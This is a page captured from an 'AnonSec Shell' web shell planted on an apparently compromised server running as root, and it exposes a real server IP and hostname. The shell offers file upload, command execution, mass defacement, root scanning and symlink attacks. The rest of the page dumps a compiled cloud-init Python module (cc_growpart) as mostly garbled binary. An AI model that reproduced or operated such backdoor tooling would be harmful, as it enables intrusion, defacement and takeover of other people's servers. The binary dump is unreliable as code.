AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/cc_growpart.cpython-310.pyc
o

x[hyI�
@s8UdZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZddlm
Z
ddlmZddlmZmZddlmZmZmZmZmZddlmZdd	lmZdd
lmZddlm Z m!Z!ddl"m#Z#e#Z$d
e ge$gd�Z%ee&d<ddgdd�Z'ed�Z(Gdd�d�Z)e�*e+�Z,Gdd�de-�Z.Gdd�de
�Z/Gdd�de/�Z0Gdd�de/�Z1Gdd �d e/�Z2d!e3d"e!d#e4d$e/fd%d&�Z5d$ee6fd'd(�Z7d$ee6fd)d*�Z8d+d,�Z9d$e:fd-d.�Z;d/d0�Z<d$ee3e3ffd1d2�Z=d3d4�Z>d5e/d"e!fd6d7�Z?d8e3d9ed:ed;e4d$df
d<d=�Z@d>e0fd?e1fd@e2ffZAdS)AzGrowpart: Grow partitions�N)�ABC�abstractmethod)�suppress)�Path)�Optional�Tuple)�	lifecycle�performance�subp�
temp_utils�util)�Cloud)�Config)�
MetaSchema)�ALL_DISTROS�Distro)�
PER_ALWAYS�cc_growpart)�id�distros�	frequency�activate_by_schema_keys�meta�auto�/F)�mode�devices�ignore_growroot_disabledz/cc_growpart_keydatac@seZdZdZdZdZdZdS)�RESIZE�SKIPPED�CHANGED�NOCHANGE�FAILEDN)�__name__�
__module__�__qualname__rr r!r"�r&r&�>/usr/lib/python3/dist-packages/cloudinit/config/cc_growpart.pyr/s
rc@seZdZdS)�ResizeFailedExceptionN)r#r$r%r&r&r&r'r(9sr(c@s<eZdZdefdd�Zededefdd��Zedd	��Z	d
S)�Resizer�distrocCs
||_dS�N)�_distro)�selfr*r&r&r'�__init__>s
zResizer.__init__r�returncC�dSr+r&�r-rr&r&r'�	availableA�zResizer.availablecCr0r+r&)r-�diskdev�partnum�partdev�fsr&r&r'�resizeDr3zResizer.resizeN)
r#r$r%rr.r�list�boolr2r8r&r&r&r'r)=sr)c@�"eZdZdefdd�Zdd�ZdS)�ResizeGrowPartrcCsHztjddgddid�j}t�d|�rWdSWdStjy#YdSw)	N�growpartz--help�LANG�C��
update_envz--update\s+TF)r
�stdout�re�search�ProcessExecutionError)r-r�outr&r&r'r2Is�����zResizeGrowPart.availablecCsJt||�}|j��}tj|dd���}tj�|d�}d|d�}	tj�|�s*t�	|d�z
t
j
dd||g|	d�Wn0t
jyg}
z#|
jd	krRt
�td
||�t|
�|
�||fWYd}
~
Wd�Sd}
~
wwzt
j
d||g|	d�Wnt
jy�}
z
t
�td||�t|
�|
�d}
~
wwWd�n1s�wY|t||�fS)NT)�dir�	needs_exer=r?)r>�TMPDIRi�z	--dry-runr@�z&Failed growpart --dry-run for (%s, %s)zFailed: growpart %s %s)�get_sizer,�get_tmp_exec_pathr�tempdir�os�path�join�exists�mkdirr
rE�	exit_coder�logexc�LOGr()r-r4r5r6r7�before�tmp_dir�tmpd�growpart_tmp�my_env�er&r&r'r8UsF




�
�
��

����zResizeGrowPart.resizeN�r#r$r%r9r2r8r&r&r&r'r<H�r<c@s&eZdZdZdefdd�Zdd�ZdS)�ResizeGrowFSa�
    Use FreeBSD ``growfs`` service to grow root partition to fill available
    space, optionally adding a swap partition at the end.

    Note that the service file warns us that it uses ``awk(1)``, and as
    such requires ``/usr`` to be present. However, cloud-init is installed
    into ``/usr/local``, so we should be fine.

    We invoke the ``growfs`` with ``service growfs onestart``, so it
    doesn't need to be enabled in ``rc.conf``.
    rcCstj�d�o
|dgkS)z'growfs only works on the root partitionz/etc/rc.d/growfsr)rNrO�isfiler1r&r&r'r2�szResizeGrowFS.availablec
Cs^t||�}z
|jjddd�Wntjy'}zt�td�t|�|�d}~ww|t||�fS)N�onestart�growfs)�action�servicezFailed: service growfs onestart)	rKr,�manage_servicer
rErrTrUr()r-r4r5r6r7rVr[r&r&r'r8�s

��zResizeGrowFS.resizeN)r#r$r%�__doc__r9r2r8r&r&r&r'r^ysr^c@r;)�ResizeGpartrcCsNztjddgddiddgd�j}t�d|�rWd	SWd
Stjy&Yd
Sw)N�gpart�helpr>r?rrJ)rA�rcszgpart recover TF)r
�stderrrCrDrE)r-r�errr&r&r'r2�s�����zResizeGpart.availablec
Cs�z
t�dd|g�Wn$tjy.}z|jdkr$t�td|�t|�|�WYd}~nd}~wwt||�}zt�ddd||g�WntjyZ}z
t�td||�t|�|�d}~ww|t||�fS)	a9
        GPT disks store metadata at the beginning (primary) and at the
        end (secondary) of the disk. When launching an image with a
        larger disk compared to the original image, the secondary copy
        is lost. Thus, the metadata will be marked CORRUPT, and need to
        be recovered.
        rg�recoverrzFailed: gpart recover %sNr8z-izFailed: gpart resize -i %s %s)r
rErSrrTrUr(rK)r-r4r5r6r7r[rVr&r&r'r8�s$

���

��zResizeGpart.resizeNr\r&r&r&r'rf�r]rfrr*rr/cCs�d}|dkr#tD]\}}||�}|j|d�r|}nq|s!td��|Si}tD]\}}	|	||<q'||vr:td|��|||�}
|
j|d�rH|
}|sPtd|��|S)Nr)rzNo resizers availablezunknown resize mode %szmode %s not available)�RESIZERSr2�
ValueError�	TypeError)rr*r�resize_class�_name�resizer�cur�mmap�k�v�mclassr&r&r'�resizer_factory�s,��
rxc	Cs�d}zAzt�|tj�}t�|dtj�WW|rt�|�SStyC|dkr6t|�YW|r5t�|�SSYW|rAt�|�dSdSw|rLt�|�ww)Nr�zfs)rN�open�O_RDONLY�lseek�SEEK_END�close�FileNotFoundError�get_zfs_size)�filenamer7�fdr&r&r'rK�s*�������rKc
Csn|�d�d}zt�dddd|g�\}}Wntjy0}zt�d||�WYd}~dSd}~wwt|���S)Nrr�zpool�getz	-Hpovalue�sizezFailed: zpool get size %s: %s)�splitr
rErU�debug�int�strip)�datasetr�r��_r[r&r&r'r��s��r�cCs�|�d�r	|dfSt�|�}|std��|d}|d}t��}|dkr?|s?t�t���}|dur?tj�	|�r;|dfStd��||fS)N�/dev/z,Could not determine device of '%s' % dev_entrrJz	/dev/rootz!Unable to find device '/dev/root')
�
startswithr�get_mount_inforn�is_container�rootdev_from_cmdline�get_cmdlinerNrOrQ)�devent�result�devr7�	containerr&r&r'�
devent2dev�s

r�c
Cs�t�d�st�d�dSz
t�dd|g�Wn'tjy=}z|jdkr+t�d|�nt�d|j�WYd}~dSd}~wwttj��t�dd	|g�t�d
|�	Wd�dS1s^wYdS)z�
    Check if a device is an encrypted device. blockdev should have
    a /dev/dm-* path whereas partition is something like /dev/sda1.
    �
cryptsetupz6cryptsetup not found. Assuming no encrypted partitionsF�status�z#Determined that %s is not encryptedzZReceived unexpected exit code %s from cryptsetup status. Assuming no encrypted partitions.N�isLukszDetermined that %s is encryptedT)r
�whichrUr�rErS�warningr)�blockdev�	partitionr[r&r&r'�is_encrypted	s*


���
 �r�c
Cs�ddd|g}t�|�d}|�d�std|����zd|�d�d	�d
�d��WStyA}ztd|�d|�d
��|�d}~ww)N�dmsetup�depsz--options=devnamerz1 dependz5Expecting '1 dependencies' from 'dmsetup'. Received: r�z: (rJ�)zRan `z$`, but received unexpected stdout: `�`)r
r��RuntimeErrorr��
IndexError)r��command�depr[r&r&r'�get_underlying_partition$s 
� ����r�cCs�t��s	tjdfSz@t�dt����!t���
}t�|�}Wd�n1s'wYWd�n1s6wY|d}t	�
|�}|d}WntyZ}ztd�|�d}~wwzKt
j
ddd	d
|g|d�Wzt
�
ddd
|t|�g�Wnt
jy�}zt�d|�WYd}~nd}~wwzt��WnMty�t�td�Yn?wzt
�
ddd
|t|�g�Wnt
jy�}zt�d|�WYd}~nd}~wwzt��Wwty�t�td�Ywwtjd|�d�fS)z�Use 'cryptsetup resize' to resize LUKS volume.

    The loaded keyfile is json formatted with 'key' and 'slot' keys.
    key is base64 encoded. Example:
    {"key":"XFmCwX2FHIQp0LBWaLEMiHIyfxt1SGm16VvUAVledlY=","slot":5}
    zNo encryption keyfile foundzReading N�key�slotzZCould not load encryption key. This is expected if the volume has been previously resized.r�z
--key-file�-r8)�data�luksKillSlotz--batch-modez<Failed to kill luks slot after resizing encrypted volume: %sz8Failed to remove keyfile after resizing encrypted volumez'Successfully resized encrypted volume '�')�KEYDATA_PATHrQrrr	�Timedrz�json�load�base64�	b64decode�	Exceptionr�r
�strrErUr��unlinkrrTr )r�r��f�keydatar��decoded_keyr�r[r&r&r'�resize_encrypted5s�
����
�������	��������	�����
�r�cCs"g}zm|�||||�\}}||kr!|�|tjd||ff�W|S|dus)|durJd}	|dur:|dur:d||f}	nd|}	|�|tj|	f�W|Sd}	|dur]|dur]d||||f}	nd|||f}	|�|tj|	f�W|Sty�}
z|�|tjd|||
ff�WYd}
~
|Sd}
~
ww)Nzno change necessary (%s, %s)�z*changed (%s, %s) size, new size is unknownz&changed (%s) size, new size is unknownzchanged (%s, %s) from %s to %szchanged (%s) from %s to %sz'failed to resize: disk=%s, ptnum=%s: %s)r8�appendrr!r r(r")rrr��disk�ptnumr�r7�info�old�new�msgr[r&r&r'�
_call_resizernsT
��&����
�����r�rrcCsnt�|�}g}|�r5|�d�}d}d}zt|�\}}Wnty8}	z|�|tjd|	f�WYd}	~	qd}	~	wwt�d|�|dkrTt	|t
�rT|t||||||�7}qzt�
|�}
Wntyz}	z|�|tjd||	ff�WYd}	~	qd}	~	wwt
�|
j�s�t
�|
j�s�|�|tjd|f�q|�|�}|r�z?t|�}t||�r�|dd�|D�vr�|�d|�|�d|�Wqt||�\}
}|�||
|f�n
|�|tjd	|�d
�f�Wn!ty�}	z|�|tjd|�d|	��f�WYd}	~	nd}	~	wwqz	|�|�\}}Wn"ttf�y'}	z|�|tjd
||	ff�WYd}	~	qd}	~	ww|t||||||�7}|s
|S)Nrzunable to convert to device: %szgrowpart found fs=%sryzstat of '%s' failed: %szdevice '%s' not a block devicecSsg|]}|d�qS)rr&)�.0�xr&r&r'�
<listcomp>�sz"resize_devices.<locals>.<listcomp>zResizing mapped device (z!) skipped as it is not encrypted.zResizing encrypted device (z
) failed: zdevice_part_info(%s) failed: %s)�copy�popr�rnr�rrrUr��
isinstancer^r�rN�stat�OSError�S_ISBLK�st_mode�S_ISCHR�get_mapped_devicer�r��insertr�r�r"�device_part_inforo)rrrr*r�r�r�r�r�r7r[�statret�underlying_blockdevr�r��messager&r&r'�resize_devices�s�

����

����
���

��
�������

����
�lr��name�cfg�cloud�argsc

Cs�d|vrt�dt�t|d<|�d�}t|t�st�d�dS|�dd�}t�|�rB|dkr:t	j
d|�d�d	d
d�t�d|�dSt�|�d
d��r]tj�
d�r]t�d�t�d�dSt�|ddg�}t|�spt�d�dSz
t||j|d�}Wn"ttfy�}zt�d||�|dkr�|�WYd}~dSd}~wwt�d��t|||j�}	Wd�n1s�wY|	D]\}
}}|tjkr�t�d|
|�q�t�d|
||�q�dS)Nr=z.No 'growpart' entry in cfg.  Using default: %sz#'growpart' in config was not a dictrr�offz"Growpart's 'mode' key with value 'r�z22.2zUse 'off' instead.)�
deprecated�deprecated_version�
extra_messagezgrowpart disabled: mode=%srFz/etc/growroot-disabledz0growpart disabled: /etc/growroot-disabled existsz&use ignore_growroot_disabled to ignorerrzgrowpart: empty device list)r*rz,growpart unable to find resizer for '%s': %szResizing devicesz'%s' resized: %sz'%s' %s: %s)rUr��DEFAULT_CONFIGr�r��dictr�r�is_falser�	deprecaterNrOr_�get_cfg_option_list�lenrxr*rnror	r�r�rr r�)
r�r�r�r��mycfgrrrrr[�resized�entryrbr�r&r&r'�handlesZ�




�


���
�r�r=rarg)Brer�r�r��loggingrN�os.pathrCr��abcrr�
contextlibr�pathlibr�typingrr�	cloudinitrr	r
rr�cloudinit.cloudr
�cloudinit.configr�cloudinit.config.schemar�cloudinit.distrosrr�cloudinit.settingsrrr�__annotations__r�r�r�	getLoggerr#rUr�r(r)r<r^rfr�r9rxr�rKr�r�r:r�r�r�r�r�r�rmr&r&r&r'�<module>sf��
1&
9.t4�

Anon7 - 2022
AnonSec Team